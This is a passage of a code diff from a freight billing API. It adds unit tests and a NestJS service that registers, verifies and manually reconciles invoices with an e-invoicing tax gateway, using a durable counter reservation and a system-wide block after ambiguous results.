apiKey: "key", + tin: "0000034558", + systemNumber: SYSTEM_NUMBER, + systemType: "SYS", + privateKeyPath: "/dev/null", + certificatePath: "/dev/null", + httpTimeoutMs: 30_000, + tokenSkewMs: 45_000, + invoice: eimsInvoiceConfig(over), + }) as EimsConfig; + +const invoiceRow = (over: Partial = {}): Invoice => + ({ + id: INVOICE_ID, + invoiceNumber: "INV-20260807-00042", + currency: "ETB", + issuedAt: new Date(2026, 7, 7, 9, 5, 3), + totalAmount: "10000.00", + eimsStatus: EimsInvoiceStatus.NotSubmitted, + eimsIrn: null, + eimsInvoiceCounter: null, + eimsSubmittedAt: null, + eimsAckDate: null, + eimsLastError: null, + company: { + name: "ABC Trading PLC", + tin: "0999930000", + vatNumber: "123475885858", + phone: "0912345678", + email: "buyer@abc.et", + region: "13", + zone: "SHA", + woreda: "574", + kebele: "03", + houseNo: "NEW", + country: "Ethiopia", + }, + ...over, + }) as unknown as Invoice; + +const LINES = [ + { + chargeType: "RAIL_FREIGHT", + description: "Addis to Djibouti", + quantity: "1.00", + unitRate: "10000.00", + amount: "10000.00", + }, +]; + +/** + * In-memory stand-in for the two locked rows. `update` merges, `createQueryBuilder(...).getOne()` + * returns the live object — enough to assert ordering, values and the reservation lifecycle without + * a database. + */ +class FakeDb { + invoices = new Map(); + state: EimsSystemState | null = null; + /** Runs before every transaction body, to simulate a concurrent writer. */ + onTransaction: (() => void) | null = null; + + constructor(invoices: Invoice[], state?: Partial) { + for (const inv of invoices) this.invoices.set(inv.id, inv); + this.state = { + id: "state-1", + systemNumber: SYSTEM_NUMBER, + nextInvoiceCounter: 7, + previousIrn: null, + inFlightInvoiceId: null, + inFlightCounter: null, + blockedReason: null, + ...state, + } as EimsSystemState; + } + + private manager = { + createQueryBuilder: (entity: unknown) => { + const isInvoice = entity === Invoice; + let id: string | undefined; + const builder = { + setLock: () => builder, + where: (_clause: string, params: Record) => { + id = params.invoiceId ?? params.systemNumber; + return builder; + }, + getOne: async () => (isInvoice ? (this.invoices.get(id!) ?? null) : this.state), + }; + return builder; + }, + findOne: async (_entity: unknown, options: { where: { id: string } }) => + this.invoices.get(options.where.id) ?? null, + update: async (entity: unknown, id: string, patch: Record) => { + if (entity === Invoice) Object.assign(this.invoices.get(id)!, patch); + else Object.assign(this.state!, patch); + }, + query: async () => [], + getRepository: () => ({ + findOne: async (options: { where: { id: string } }) => + this.invoices.get(options.where.id) ?? null, + }), + }; + + asDataSource(): DataSource { + return { + manager: this.manager, + getRepository: this.manager.getRepository, + query: async () => LINES, + transaction: async (body: (m: unknown) => Promise) => { + this.onTransaction?.(); + return body(this.manager); + }, + } as unknown as DataSource; + } +} + +const build = ( + db: FakeDb, + postSigned: jest.Mock, + cfg: EimsConfig = config(), + postBearer: jest.Mock = jest.fn(), +) => + new EimsInvoiceRegistrationService( + db.asDataSource(), + { get: () => cfg } as unknown as ConfigService, + { postSigned, postBearer } as unknown as EimsClientService, + ); + +/** Document number the fixtures register under; `/v1/verify` must echo it back. */ +const DOCUMENT_NUMBER = "INV-20260807-00042"; + +/** + * `/v1/verify` success. The response spells the reference `Irn` while the request uses `irn`, and + * the collection's own fixture uses a *different* example value on each side — so nothing here + * assumes the two match. + */ +const verifyResponse = (over: Record = {}) => ({ + statusCode: 200, + message: "SUCCESS", + body: { + Irn: IRN, + TransactionType: "B2B", + DocumentDetails: { Type: "INV", DocumentNumber: DOCUMENT_NUMBER, Date: "07-08-2026T09:05:03" }, + Version: "1", + ...over, + }, +}); + +const okResponse = (irn = IRN) => + ({ statusCode: 200, message: "SUCCESS", body: { irn, ackDate: "2026-08-07T09:05:03Z[Etc/UTC]" } }); + +const apiError = (kind: string, status?: number) => + new EimsApiException(kind as never, `EIMS register failed (${status ?? "-"})`, status); + +describe("EimsInvoiceRegistrationService.registerInvoiceWithEims", () => { + it("registers, persists the IRN and advances the chain", async () => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn().mockResolvedValue(okResponse()); + + const view = await build(db, postSigned).registerInvoiceWithEims(INVOICE_ID); + + expect(postSigned).toHaveBeenCalledTimes(1); + expect(postSigned.mock.calls[0][0]).toBe("/v1/register"); + expect(view).toMatchObject({ + eimsStatus: EimsInvoiceStatus.Registered, + eimsIrn: IRN, + eimsInvoiceCounter: 7, + eimsAckDate: "2026-08-07T09:05:03Z[Etc/UTC]", + }); + expect(db.state).toMatchObject({ + previousIrn: IRN, + nextInvoiceCounter: 8, + inFlightInvoiceId: null, + inFlightCounter: null, + blockedReason: null, + }); + }); + + it("sends the exact reserved counter and previous IRN to the mapper", async () => { + const db = new FakeDb([invoiceRow()], { nextInvoiceCounter: 42, previousIrn: "PRIOR-IRN" }); + const postSigned = jest.fn().mockResolvedValue(okResponse()); + + await build(db, postSigned).registerInvoiceWithEims(INVOICE_ID); + + const request = postSigned.mock.calls[0][1] as EimsInvoiceRequest; + expect(request.SourceSystem.InvoiceCounter).toBe(42); + expect(request.ReferenceDetails.PreviousIrn).toBe("PRIOR-IRN"); + expect(request.DocumentDetails.DocumentNumber).toBe("INV-20260807-00042"); + expect(request.SourceSystem.SystemNumber).toBe(SYSTEM_NUMBER); + }); + + it("is idempotent — an invoice with an IRN never reaches EIMS", async () => { + const db = new FakeDb([ + invoiceRow({ eimsIrn: IRN, eimsStatus: EimsInvoiceStatus.Registered }), + ]); + const postSigned = jest.fn(); + + const view = await build(db, postSigned).registerInvoiceWithEims(INVOICE_ID); + + expect(postSigned).not.toHaveBeenCalled(); + expect(view.eimsIrn).toBe(IRN); + }); + + it("lets only one of two concurrent calls reach EIMS", async () => { + const db = new FakeDb([invoiceRow()]); + let resolvePost: (v: unknown) => void = () => {}; + const postSigned = jest + .fn() + .mockImplementation(() => new Promise((resolve) => (resolvePost = resolve))); + const service = build(db, postSigned); + + const first = service.registerInvoiceWithEims(INVOICE_ID); + // Let the first reservation commit and its HTTP call start; it is now parked on `resolvePost`. + await new Promise((resolve) => setImmediate(resolve)); + expect(postSigned).toHaveBeenCalledTimes(1); + + const second = service.registerInvoiceWithEims(INVOICE_ID); + + await expect(second).rejects.toBeInstanceOf(ConflictException); + resolvePost(okResponse()); + await first; + expect(postSigned).toHaveBeenCalledTimes(1); + }); + + it("blocks a different invoice while a submission is in flight (survives a restart)", async () => { + // A committed reservation left behind by a dead process. + const db = new FakeDb( + [ + invoiceRow({ eimsStatus: EimsInvoiceStatus.Submitting, eimsInvoiceCounter: 7 }), + invoiceRow({ id: OTHER_INVOICE_ID, invoiceNumber: "INV-20260807-00043" }), + ], + { inFlightInvoiceId: INVOICE_ID, inFlightCounter: 7, nextInvoiceCounter: 8 }, + ); + const postSigned = jest.fn(); + + await expect( + build(db, postSigned).registerInvoiceWithEims(OTHER_INVOICE_ID), + ).rejects.toThrow(/already in flight/); + expect(postSigned).not.toHaveBeenCalled(); + }); + + it("fails locally on incomplete tax configuration, with zero HTTP calls", async () => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn(); + + await expect( + build(db, postSigned, config({ taxCode: "", taxRatePercent: null })).registerInvoiceWithEims( + INVOICE_ID, + ), + ).rejects.toBeInstanceOf(BadRequestException); + + expect(postSigned).not.toHaveBeenCalled(); + expect(db.invoices.get(INVOICE_ID)!.eimsStatus).toBe(EimsInvoiceStatus.NotSubmitted); + expect(db.state).toMatchObject({ nextInvoiceCounter: 7, inFlightInvoiceId: null }); + }); + + it.each([ + ["SCHEMA_VALIDATION", 400], + ["RULE_VALIDATION", 406], + ])("marks %s (%i) FAILED and clears the global block", async (kind, status) => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn().mockRejectedValue(apiError(kind, status)); + + await expect(build(db, postSigned).registerInvoiceWithEims(INVOICE_ID)).rejects.toBeInstanceOf( + EimsApiException, + ); + + expect(db.invoices.get(INVOICE_ID)).toMatchObject({ + eimsStatus: EimsInvoiceStatus.Failed, + eimsIrn: null, + }); + expect(db.state).toMatchObject({ + inFlightInvoiceId: null, + blockedReason: null, + previousIrn: null, + nextInvoiceCounter: 8, // consumed: the attempt reached the gateway + }); + }); + + it("treats a success response with no IRN as a failed registration", async () => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn().mockResolvedValue({ statusCode: 200, body: { irn: "" } }); + + await expect(build(db, postSigned).registerInvoiceWithEims(INVOICE_ID)).rejects.toThrow( + /returned no IRN/, + ); + expect(db.invoices.get(INVOICE_ID)!.eimsStatus).toBe(EimsInvoiceStatus.Failed); + expect(db.state).toMatchObject({ inFlightInvoiceId: null, blockedReason: null }); + }); + + it("marks a timeout UNKNOWN and keeps the system blocked", async () => { + const db = new FakeDb([invoiceRow()]); + const postSigned = jest.fn().mockRejectedValue(apiError("TIMEOUT")); + + await expect(build(db, postSigned).registerInvoiceWithEims(INVOICE_ID)).rejects.toBeInstanceOf( + EimsApiException, + ); + + expect(db.invoices.get(INVOICE_ID)).toMatchObject({ + eimsStatus: EimsInvoiceStatus.Unknown, + eimsIrn: null, + }); + expect(db.state!.inFlightInvoiceId).toBe(INVOICE_ID); + expect(db.state!.blockedReason).toMatch(/never acknowledged/); + expect(db.state!.previousIrn).toBeNull(); + }); + + it("an UNKNOWN result blocks a different invoice too", async () => { + const db = new FakeDb([invoiceRow(), invoiceRow({ id: OTHER_INVOICE_ID })]); + const postSigned = jest.fn().mockRejectedValueOnce(apiError("TIMEOUT")); + const service = build(db, postSigned); + + await expect(service.registerInvoiceWithEims(INVOICE_ID)).rejects.toBeInstanceOf( + EimsApiException, + ); + await expect(service.registerInvoiceWithEims(OTHER_INVOICE_ID)).rejects.toThrow( + /registration is blocked/, + ); + expect(postSigned).toHaveBeenCalledTimes(1); + }); + + it("never reuses a counter once an attempt has begun", async () => { + const db = new FakeDb([invoiceRow(), invoiceRow({ id: OTHER_INVOICE_ID })]); + const postSigned = jest + .fn() + .mockRejectedValueOnce(apiError("RULE_VALIDATION", 406)) + .mockResolvedValueOnce(okResponse()); + const service = build(db, postSigned); + + await expect(service.registerInvoiceWithEims(INVOICE_ID)).rejects.toBeInstanceOf( + EimsApiException, + ); + await service.registerInvoiceWithEims(OTHER_INVOICE_ID); + + expect((postSigned.mock.calls[0][1] as EimsInvoiceRequest).SourceSystem.InvoiceCounter).toBe(7); + expect((postSigned.mock.calls[1][1] as EimsInvoiceRequest).SourceSystem.InvoiceCounter).toBe(8); + }); +}); + +describe("EimsInvoiceRegistrationService.verifyInvoiceWithEims", () => { + it("verifies the stored IRN over the unsigned bearer transport", async () => { + const db = new FakeDb([invoiceRow({ eimsIrn: IRN })]); + const postSigned = jest.fn(); + const postBearer = jest.fn().mockResolvedValue(verifyResponse()); + + const result = await build(db, postSigned, config(), postBearer).verifyInvoiceWithEims( + INVOICE_ID, + ); + + // Lowercase `irn`, raw body — not a signed envelope. `postSigned` must stay untouched. + expect(postBearer).toHaveBeenCalledWith("/v1/verify", { irn: IRN }); + expect(postSigned).not.toHaveBeenCalled(); + expect(result.body).toMatchObject({ Irn: IRN }); + }); + + it("accepts a response whose Irn differs from the one sent", async () => { + // The supplied collection's own fixture does exactly this; equality would assert a property + // of the mock, not of the gateway. + const db = new FakeDb([invoiceRow({ eimsIrn: IRN })]); + const postBearer = jest.fn().mockResolvedValue(verifyResponse({ Irn: "a-different-irn" })); + + await expect( + build(db, jest.fn(), config(), postBearer).verifyInvoiceWithEims(INVOICE_ID), + ).resolves.toMatchObject({ body: { Irn: "a-different-irn" } }); + }); + + it("rejects a 200 that carries no Irn", async () => { + const db = new FakeDb([invoiceRow({ eimsIrn: IRN })]); + const postBearer = jest.fn().mockResolvedValue({ statusCode: 200, body: { Irn: " " } }); + + await expect( + build(db, jest.fn(), config(), postBearer).verifyInvoiceWithEims(INVOICE_ID), + ).rejects.toThrow(/returned no Irn/); + }); + + it("refuses to verify an invoice with no IRN", async () => { + const db = new FakeDb([invoiceRow({ eimsStatus: EimsInvoiceStatus.Unknown })]); + const postBearer = jest.fn(); + + await expect( + build(db, jest.fn(), config(), postBearer).verifyInvoiceWithEims(INVOICE_ID), + ).rejects.toThrow(/no EIMS IRN to verify/); + expect(postBearer).not.toHaveBeenCalled(); + }); +}); + +describe("EimsInvoiceRegistrationService.resolveEimsRegistration", () => { + const blocked = () => + new FakeDb([invoiceRow({ eimsStatus: EimsInvoiceStatus.Unknown, eimsInvoiceCounter: 7 })], { + inFlightInvoiceId: INVOICE_ID, + inFlightCounter: 7, + nextInvoiceCounter: 8, + blockedReason: "never acknowledged", + }); + + it("records a confirmed IRN, resumes the chain and clears the block", async () => { + const db = blocked(); + const postBearer = jest.fn().mockResolvedValue(verifyResponse()); + + const view = await build(db, jest.fn(), config(), postBearer).resolveEimsRegistration( + INVOICE_ID, + { irn: IRN }, + ); + + // The IRN is confirmed at the gateway before it is ever written. + expect(postBearer).toHaveBeenCalledWith("/v1/verify", { irn: IRN }); + expect(view).toMatchObject({ eimsStatus: EimsInvoiceStatus.Registered, eimsIrn: IRN }); + expect(db.state).toMatchObject({ + previousIrn: IRN, + inFlightInvoiceId: null, + blockedReason: null, + }); + }); + + it("refuses an IRN whose document number is not this invoice, leaving the block intact", async () => { + const db = blocked(); + const postBearer = jest.fn().mockResolvedValue( + verifyResponse({ + DocumentDetails: { Type: "INV", DocumentNumber: "INV-20260807-99999" }, + }), + ); + + await expect( + build(db, jest.fn(), config(), postBearer).resolveEimsRegistration(INVOICE_ID, { irn: IRN }), + ).rejects.toThrow(/not INV-20260807-00042/); + + expect(db.invoices.get(INVOICE_ID)).toMatchObject({ + eimsStatus: EimsInvoiceStatus.Unknown, + eimsIrn: null, + }); + expect(db.state).toMatchObject({ + inFlightInvoiceId: INVOICE_ID, + blockedReason: "never acknowledged", + previousIrn: null, + }); + }); + + it("refuses an IRN the gateway does not acknowledge at all", async () => { + const db = blocked(); + const postBearer = jest.fn().mockResolvedValue({ statusCode: 200, body: {} }); + + await expect( + build(db, jest.fn(), config(), postBearer).resolveEimsRegistration(INVOICE_ID, { irn: IRN }), + ).rejects.toThrow(/returned no Irn/); + expect(db.state!.blockedReason).toBe("never acknowledged"); + }); + + it("discards the attempt, leaving the chain where it was", async () => { + const db = blocked(); + const postBearer = jest.fn(); + + const view = await build(db, jest.fn(), config(), postBearer).resolveEimsRegistration( + INVOICE_ID, + { discard: true }, + ); + + expect(view).toMatchObject({ eimsStatus: EimsInvoiceStatus.Failed, eimsIrn: null }); + expect(postBearer).not.toHaveBeenCalled(); // nothing to confirm + expect(db.state).toMatchObject({ + previousIrn: null, + inFlightInvoiceId: null, + blockedReason: null, + }); + }); + + it("refuses to resolve an invoice that is not the in-flight one", async () => { + const db = blocked(); + db.invoices.set(OTHER_INVOICE_ID, invoiceRow({ id: OTHER_INVOICE_ID })); + const postBearer = jest.fn().mockResolvedValue(verifyResponse()); + + await expect( + build(db, jest.fn(), config(), postBearer).resolveEimsRegistration(OTHER_INVOICE_ID, { + irn: IRN, + }), + ).rejects.toThrow(/in-flight EIMS submission is invoice/); + }); + + it("requires either an IRN or an explicit discard", async () => { + await expect( + build(blocked(), jest.fn()).resolveEimsRegistration(INVOICE_ID, {}), + ).rejects.toBeInstanceOf(BadRequestException); + }); +}); diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts new file mode 100644 index 000000000..44b92cd9b --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice-registration.service.ts @@ -0,0 +1,472 @@ +import { + BadRequestException, + ConflictException, + Injectable, + Logger, + NotFoundException, +} from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource, EntityManager } from "typeorm"; +import type { QueryDeepPartialEntity } from "typeorm/query-builder/QueryPartialEntity.js"; + +import { EimsConfig } from "../../config/eims.config"; +import { Invoice } from "../billing/entities/invoice.entity"; +import { + EimsInvoiceRequest, + EimsMapperLine, + toEimsInvoice, +} from "../billing/eims-invoice.mapper"; +import { EimsClientService } from "./eims-client.service"; +import { EimsApiException } from "./eims.errors"; +import { EimsSystemState } from "./entities/eims-system-state.entity"; +import { + assertEimsInvoiceConfig, + buildEimsContext, + buildEimsSeller, +} from "./eims-invoice-context"; +import { + EimsInvoiceError, + EimsInvoiceStatus, + EimsInvoiceStatusView, + EimsRegisterResponse, + EimsVerifyRequest, + EimsVerifyResponse, +} from "./eims-registration.types"; + +/** + * Failure kinds where the gateway gave a complete answer: the document was rejected and is + * definitively not registered. These clear the system-wide block; anything else does not. + */ +const DETERMINISTIC_KINDS = new Set(["SCHEMA_VALIDATION", "RULE_VALIDATION", "AUTH", "FORBIDDEN"]); + +interface Reservation { + stateId: string; + invoiceCounter: number; + previousIrn: string; +} + +/** + * Registers a single invoice with MoR EIMS. + * + * Sequencing is a **durable reservation**: the counter is consumed and the holder recorded in a + * committed transaction *before* the request leaves the process, and the network call happens + * outside any transaction. That gives three properties the naive design could not: + * + * - a counter is never reused once an attempt has begun, even across a crash; + * - a crash mid-flight leaves the reservation standing, so nothing blindly resubmits a document + * that may already have reached MoR; + * - an ambiguous result blocks every invoice for the system number, not just its own, because + * `PreviousIrn` is unknown and any later document would chain to a stale IRN. + * + * Signing, authentication and error normalisation belong to `EimsClientService`. Manual only — + * nothing in invoice creation calls this. + */ +@Injectable() +export class EimsInvoiceRegistrationService { + private readonly logger = new Logger(EimsInvoiceRegistrationService.name); + + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + private readonly config: ConfigService, + private readonly client: EimsClientService, + ) {} + + private get cfg(): EimsConfig { + return this.config.get("eims")!; + } + + async registerInvoiceWithEims(invoiceId: string): Promise { + const cfg = this.cfg; + // Static seller/tax configuration is validated before anything is locked, allocated or sent. + assertEimsInvoiceConfig(cfg); + + const invoice = await this.loadInvoiceForMapping(invoiceId); + if (invoice.eimsIrn) return this.toView(invoice); + + const reservation = await this.reserve(invoiceId, cfg.systemNumber); + if (!reservation) return this.getEimsStatus(invoiceId); + + // The request can only be built now: InvoiceCounter and PreviousIrn come from the reservation. + const request = toEimsInvoice( + invoice, + buildEimsSeller(cfg), + buildEimsContext(cfg, { + // Our own invoice number is the document number; EIMS only requires it to be unique. + documentNumber: invoice.invoiceNumber, + invoiceCounter: reservation.invoiceCounter, + previousIrn: reservation.previousIrn, + }), + ); + + let irn: string; + let ackDate: string | undefined; + try { + // Deliberately outside every transaction — no DB lock is held across the wire. + const result = await this.submit(request); + irn = result.irn; + ackDate = result.ackDate; + } catch (err) { + await this.settleFailure(invoiceId, reservation, err); + throw err; + } + + await this.settleSuccess(invoiceId, reservation, irn, ackDate); + this.logger.log( + `Invoice ${invoice.invoiceNumber} registered with EIMS (counter ${reservation.invoiceCounter})`, + ); + return this.getEimsStatus(invoiceId); + } + + /** + * Verify a registered invoice at `POST /v1/verify`. + * + * Requires a stored IRN. An invoice whose submission was never acknowledged cannot be reconciled + * here — the gateway offers no lookup by document number — so it must be resolved with MoR and + * recorded through `resolveEimsRegistration`. + */ + async verifyInvoiceWithEims(invoiceId: string): Promise { + const invoice = await this.loadInvoiceRow(this.dataSource.manager, invoiceId); + if (!invoice.eimsIrn) { + throw new BadRequestException({ + code: "EIMS_NO_IRN", + message: + `Invoice ${invoice.invoiceNumber} has no EIMS IRN to verify (status ${invoice.eimsStatus}). ` + + "EIMS can only be queried by IRN, so an unacknowledged submission must be resolved with MoR first.", + }); + } + return this.queryVerify(invoice.eimsIrn); + } + + /** + * `POST /v1/verify` for one IRN, with the one check that always applies: the gateway must echo + * an `Irn` back. A 200 without it is not a confirmation of anything. + * + * The request property is lowercase `irn`; the response spells it `Irn`. The two are never + * compared — the supplied collection's own fixture uses different example values on each side, + * so equality there would assert a property of the mock rather than of the gateway. + * + * Bearer-authenticated but unsigned, via `postBearer` — see that method for why. + */ + private async queryVerify(irn: string): Promise { + const response = await this.client.postBearer( + "/v1/verify", + { irn }, + ); + if (!response?.body?.Irn?.trim()) { + throw new EimsApiException( + "SCHEMA_VALIDATION", + "EIMS verify returned no Irn in its response body", + response?.statusCode, + ); + } + return response; + } + + /** + * Refuse a manual resolution unless the gateway agrees the IRN belongs to this invoice. + * + * The check is on `DocumentDetails.DocumentNumber`, which registration set from our own + * `invoiceNumber`. That is the only field tying an IRN back to a row in this database. + */ + private async assertIrnBelongsToInvoice( + irn: string, + expectedDocumentNumber: string, + ): Promise { + const response = await this.queryVerify(irn); + const documentNumber = response.body?.DocumentDetails?.DocumentNumber?.trim(); + + if (documentNumber !== expectedDocumentNumber) { + throw new ConflictException({ + code: "EIMS_RESOLVE_DOCUMENT_MISMATCH", + message: + `EIMS reports IRN ${irn} against document ${documentNumber ?? "(none)"}, not ` + + `${expectedDocumentNumber}. Refusing to record it — recheck the IRN in the MoR portal.`, + }); + } + } + + /** + * Manual reconciliation of a blocked system number. + * + * With an `irn` (found in the MoR portal) the invoice is recorded as registered and the chain + * resumes from it. With `discard` the invoice is marked failed and the chain resumes from the + * previous IRN. Either way the block is cleared — this is the only exit from an ambiguous result. + * + * An IRN is never taken on trust: it is verified at the gateway first, and the document it + * belongs to must be *this* invoice. A transposed digit would otherwise chain every later + * document to a stranger's IRN and mark this invoice registered when it is not. + */ + async resolveEimsRegistration( + invoiceId: string, + input: { irn?: string; discard?: boolean }, + ): Promise { + const irn = input.irn?.trim(); + if (!irn && !input.discard) { + throw new BadRequestException({ + code: "EIMS_RESOLVE_INPUT_REQUIRED", + message: "Provide the IRN confirmed with MoR, or discard: true to abandon the submission", + }); + } + + // Outside the transaction: no lock is held across the wire, and a refused verification must + // leave the block exactly as it was. + if (irn) { + const invoice = await this.loadInvoiceRow(this.dataSource.manager, invoiceId); + await this.assertIrnBelongsToInvoice(irn, invoice.invoiceNumber); + } + + await this.dataSource.transaction(async (manager) => { + const state = await this.lockSystemState(manager, this.cfg.systemNumber); + if (state.inFlightInvoiceId && state.inFlightInvoiceId !== invoiceId) { + throw new ConflictException({ + code: "EIMS_RESOLVE_WRONG_INVOICE", + message: `The in-flight EIMS submission is invoice ${state.inFlightInvoiceId}, not ${invoiceId}`, + }); + } + const invoice = await this.lockInvoice(manager, invoiceId); + if (invoice.eimsIrn) { + throw new ConflictException({ + code: "EIMS_ALREADY_REGISTERED", + message: `Invoice ${invoice.invoiceNumber} already has IRN ${invoice.eimsIrn}`, + }); + } + + await manager.update(Invoice, invoiceId, { + eimsStatus: irn ? EimsInvoiceStatus.Registered : EimsInvoiceStatus.Failed, + eimsIrn: irn ?? null, + }); + await manager.update(EimsSystemState, state.id, { + // Only a confirmed IRN may advance the chain; a discard leaves it where it was. + ...(irn ? { previousIrn: irn } : {}), + inFlightInvoiceId: null, + inFlightCounter: null, + blockedReason: null, + }); + }); + + this.logger.warn( + `EIMS block on invoice ${invoiceId} resolved manually (${irn ? "IRN recorded" : "discarded"})`, + ); + return this.getEimsStatus(invoiceId); + } + + async getEimsStatus(invoiceId: string): Promise { + return this.toView(await this.loadInvoiceRow(this.dataSource.manager, invoiceId)); + } + + // ── transactions ───────────────────────────────────────────────────────────────────────────── + + /** + * TX1. Consume a counter and record the holder, committed before any HTTP call. Returns `null` + * when the invoice turned out to be registered already (checked under the lock). + */ + private async reserve(invoiceId: string, systemNumber: string): Promise { + return this.dataSource.transaction(async (manager) => { + const state = await this.lockSystemState(manager, systemNumber); + + if (state.blockedReason) { + throw new ConflictException({ + code: "EIMS_SYSTEM_BLOCKED", + message: + `EIMS registration is blocked for system ${systemNumber}: ${state.blockedReason}. ` + + "Resolve the affected invoice before registering anything else.", + }); + } + if (state.inFlightInvoiceId) { + throw new ConflictException({ + code: "EIMS_SUBMISSION_IN_FLIGHT", + message: + `A submission for invoice ${state.inFlightInvoiceId} is already in flight on system ` + + `${systemNumber}. Wait for it to settle, or resolve it if the process was interrupted.`, + }); + } + + const invoice = await this.lockInvoice(manager, invoiceId); + if (invoice.eimsIrn) return null; + + const invoiceCounter = Number(state.nextInvoiceCounter); + const previousIrn = state.previousIrn ?? ""; + + // Counter consumed here, not on success: once an attempt begins it can never be reused, + // whatever happens next. A gap is harmless at MoR; a collision is not. + await manager.update(EimsSystemState, state.id, { + nextInvoiceCounter: invoiceCounter + 1, + inFlightInvoiceId: invoiceId, + inFlightCounter: invoiceCounter, + }); + await manager.update(Invoice, invoiceId, { + eimsStatus: EimsInvoiceStatus.Submitting, + eimsInvoiceCounter: invoiceCounter, + eimsSubmittedAt: new Date(), + eimsLastError: null, + }); + + return { stateId: state.id, invoiceCounter, previousIrn }; + }); + } + + /** TX2a. Record the IRN, advance the chain, release the reservation. */ + private async settleSuccess( + invoiceId: string, + reservation: Reservation, + irn: string, + ackDate?: string, + ): Promise { + await this.dataSource.transaction(async (manager) => { + await this.lockInvoice(manager, invoiceId); + await manager.update(Invoice, invoiceId, { + eimsStatus: EimsInvoiceStatus.Registered, + eimsIrn: irn, + eimsAckDate: ackDate ?? null, + eimsLastError: null, + }); + await manager.update(EimsSystemState, reservation.stateId, { + previousIrn: irn, + inFlightInvoiceId: null, + inFlightCounter: null, + blockedReason: null, + }); + }); + } + + /** + * TX2b. A deterministic rejection releases the reservation; an ambiguous result keeps it and + * blocks the system number, because `PreviousIrn` is now unknown for every later document. + * The counter stays consumed either way. + */ + private async settleFailure( + invoiceId: string, + reservation: Reservation, + err: unknown, + ): Promise { + const api = err instanceof EimsApiException ? err : null; + const deterministic = api ? DETERMINISTIC_KINDS.has(api.kind) : false; + const status = deterministic ? EimsInvoiceStatus.Failed : EimsInvoiceStatus.Unknown; + const lastError: EimsInvoiceError = { + kind: api?.kind ?? "UNKNOWN", + message: (err as Error)?.message ?? "unknown error", + httpStatus: api?.httpStatus, + details: api?.details, + at: new Date().toISOString(), + }; + + await this.dataSource.transaction(async (manager) => { + await manager.update(Invoice, invoiceId, { + eimsStatus: status, + eimsLastError: lastError, + } as QueryDeepPartialEntity); + + await manager.update( + EimsSystemState, + reservation.stateId, + deterministic + ? { inFlightInvoiceId: null, inFlightCounter: null, blockedReason: null } + : { + blockedReason: + `Invoice ${invoiceId} was submitted with counter ${reservation.invoiceCounter} but ` + + `never acknowledged (${lastError.kind}). Its IRN is unknown, so no further document ` + + "can be chained until it is resolved with MoR.", + }, + ); + }); + + this.logger.error(`Invoice ${invoiceId} EIMS registration ${status}: ${lastError.message}`); + } + + // ── internals ──────────────────────────────────────────────────────────────────────────────── + + /** A non-empty IRN is the only success signal; anything else is a failed registration. */ + private async submit(request: EimsInvoiceRequest): Promise<{ irn: string; ackDate?: string }> { + const response = await this.client.postSigned( + "/v1/register", + request, + ); + const irn = response?.body?.irn; + if (!irn) { + // The gateway answered, so this is deterministic: the document is not registered. + throw new EimsApiException( + "SCHEMA_VALIDATION", + `EIMS register returned no IRN${response?.body?.errorMessage ? `: ${response.body.errorMessage}` : ""}`, + response?.statusCode, + ); + } + return { irn, ackDate: response.body?.ackDate }; + } + + private async lockInvoice(manager: EntityManager, invoiceId: string): Promise { + const invoice = await manager + .createQueryBuilder(Invoice, "invoice") + .setLock("pessimistic_write") + .where("invoice.id = :invoiceId", { invoiceId }) + .getOne(); + if (!invoice) throw new NotFoundException(`Invoice ${invoiceId} not found`); + return invoice; + } + + /** Locks the system-state row, creating it on first use. */ + private async lockSystemState( + manager: EntityManager, + systemNumber: string, + ): Promise { + const select = () => + manager + .createQueryBuilder(EimsSystemState, "state") + .setLock("pessimistic_write") + .where("state.system_number = :systemNumber", { systemNumber }) + .getOne(); + + const existing = await select(); + if (existing) return existing; + + await manager.query( + `INSERT INTO freight.eims_system_state (system_number) VALUES ($1) + ON CONFLICT (system_number) DO NOTHING`, + [systemNumber], + ); + const created = await select(); + if (!created) throw new Error(`Could not initialise EIMS system state for ${systemNumber}`); + return created; + } + + /** Header + buyer + lines — everything the mapper needs. */ + private async loadInvoiceForMapping( + invoiceId: string, + ): Promise { + const invoice = await this.dataSource.getRepository(Invoice).findOne({ + where: { id: invoiceId }, + relations: { company: true, companyProfile: true }, + }); + if (!invoice) throw new NotFoundException(`Invoice ${invoiceId} not found`); + + const lines: EimsMapperLine[] = await this.dataSource.query( + `SELECT charge_type AS "chargeType", description, quantity, unit_rate AS "unitRate", + amount, currency, metadata + FROM freight.invoice_lines + WHERE invoice_id = $1 AND deleted_at IS NULL + ORDER BY created_at ASC`, + [invoiceId], + ); + return Object.assign(invoice, { lines }); + } + + private async loadInvoiceRow(manager: EntityManager, invoiceId: string): Promise { + const invoice = await manager.findOne(Invoice, { where: { id: invoiceId } }); + if (!invoice) throw new NotFoundException(`Invoice ${invoiceId} not found`); + return invoice; + } + + private toView(invoice: Invoice): EimsInvoiceStatusView { + const counter = invoice.eimsInvoiceCounter; + return { + invoiceId: invoice.id, + invoiceNumber: invoice.invoiceNumber, + eimsStatus: invoice.eimsStatus ?? EimsInvoiceStatus.NotSubmitted, + eimsIrn: invoice.eimsIrn ?? null, + eimsInvoiceCounter: counter === null || counter === undefined ? null : Number(counter), + eimsSubmittedAt: invoice.eimsSubmittedAt ?? null, + eimsAckDate: invoice.eimsAckDate ?? null, + eimsLastError: invoice.eimsLastError ?? null, + }; + } +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts b/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts new file mode 100644 index 000000000..9dab21107 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-invoice.controller.ts @@ -0,0 +1,60 @@ +import { Body, Controller, Get, Param, ParseUUIDPipe, Post } from "@nestjs/common"; +import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger"; + +import { BookingStaff } from "../../common/booking-guards"; +import { FREIGHT_PERMS } from "../../seed/freight-permissions.registry"; +import { ResolveEimsRegistrationDto } from "./dto/resolve-eims-registration.dto"; 